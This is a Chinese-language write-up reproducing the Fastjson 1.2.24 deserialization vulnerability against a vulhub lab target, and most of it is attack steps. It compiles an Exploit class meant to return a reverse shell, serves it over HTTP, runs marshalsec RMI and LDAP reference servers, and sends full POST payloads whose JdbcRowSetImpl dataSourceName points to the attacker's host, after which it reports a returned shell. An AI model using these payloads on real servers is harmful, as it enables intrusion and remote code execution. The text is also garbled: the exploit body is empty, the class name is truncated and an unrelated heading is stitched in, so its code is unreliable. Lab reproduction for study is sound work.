Fastjson反序列化漏洞复现Fastjson反序列化漏洞复现
0x00 前⾔
对Fastjson反序列化漏洞进⾏复现。
0x01 漏洞环境
靶机环境:vulhub-fastjson-1.2.24
ip:172.16.10.18 端⼝:8090
攻击机环境:kali,ip:192.168.82.130
0x02 漏洞利⽤
(1)⾸先使⽤docker起⼀个fastjson反序列化漏洞环境:
访问环境页⾯如下:
(2)RMI利⽤⽅式
先编写好攻击脚本,反弹shell到kali上:
public class Exploit {
public Exploit(){
try{
}catch(Exception e){
e.printStackTrace();
}
}
public static void main(String[] argv){
Exploit e = new Exploit();
}
}
接着使⽤javac将其进⾏编译,命令:
javac Exploit.java
然后对多出⼀个.class的⽂件:
把编译好的⽂件放在kali上,并在kali开启⼀个简单的HTTP服务,利⽤python3,命令:
python3 -m http.server 8080
接着使⽤marshalsec项⽬,启动RMI服务,监听8001端⼝并加载远程类Exploit.class,命令:
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "192.168.82.130:8080/#Exploit" 8001
然后在kali上开启监听8888端⼝:
开始攻击,payload如下,注意是以POST⽅式提交:
spring framework rce漏洞复现
POST / HTTP/1.1
Host:172.16.10.18:8090
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:82.0) Gecko/20100101 Firefox/82.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
Content-Length: 167
{
"naraku":{
"@type":"wset.JdbcRowSetImpl",
"dataSourceName":"rmi://192.168.82.130:8001/Exploit",
"autoCommit":true
}
}
查看RMI端记录:
查看监听部分:
成功,返回shell
(3)LDAP利⽤⽅式
前⾯⼤致过程相同,唯⼀变化的地⽅在于使⽤marshalsec项⽬,启动LDAP服务,监听8002端⼝并加载远程类Exploit.class,命令:
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "192.168.82.130:8080/#Exploit" 8002
在kali端依然监听8888端⼝:
在burp端发起payload,payload如下,依旧注意是POST请求:
POST / HTTP/1.1
Host:172.16.10.18:8090
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:82.0) Gecko/20100101 Firefox/82.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
Content-Length: 167
{
"naraku":{
"@type":"wset.JdbcRowSetImpl",
"dataSourceName":"ldap://192.168.82.130:8002/Exploit",
"autoCommit":true
}
}
查看ldap端显⽰:
查看监听端,成功反弹shell:
0x03 免责声明
严禁读者利⽤以上介绍知识点对⽹站进⾏⾮法操作 , 本⽂仅⽤于技术交流和学习 , 如果您利⽤⽂章中介绍的知识对他⼈造成损失 , 后果由您⾃⾏承担 , 如果您不能同意该约定 , 请您务必不要阅读该⽂章 , 感谢您的配合 !

版权声明:本站内容均来自互联网,仅供演示用,请勿用于商业和其他非法用途。如果侵犯了您的权益请与我们联系QQ:729038198,我们将在24小时内删除。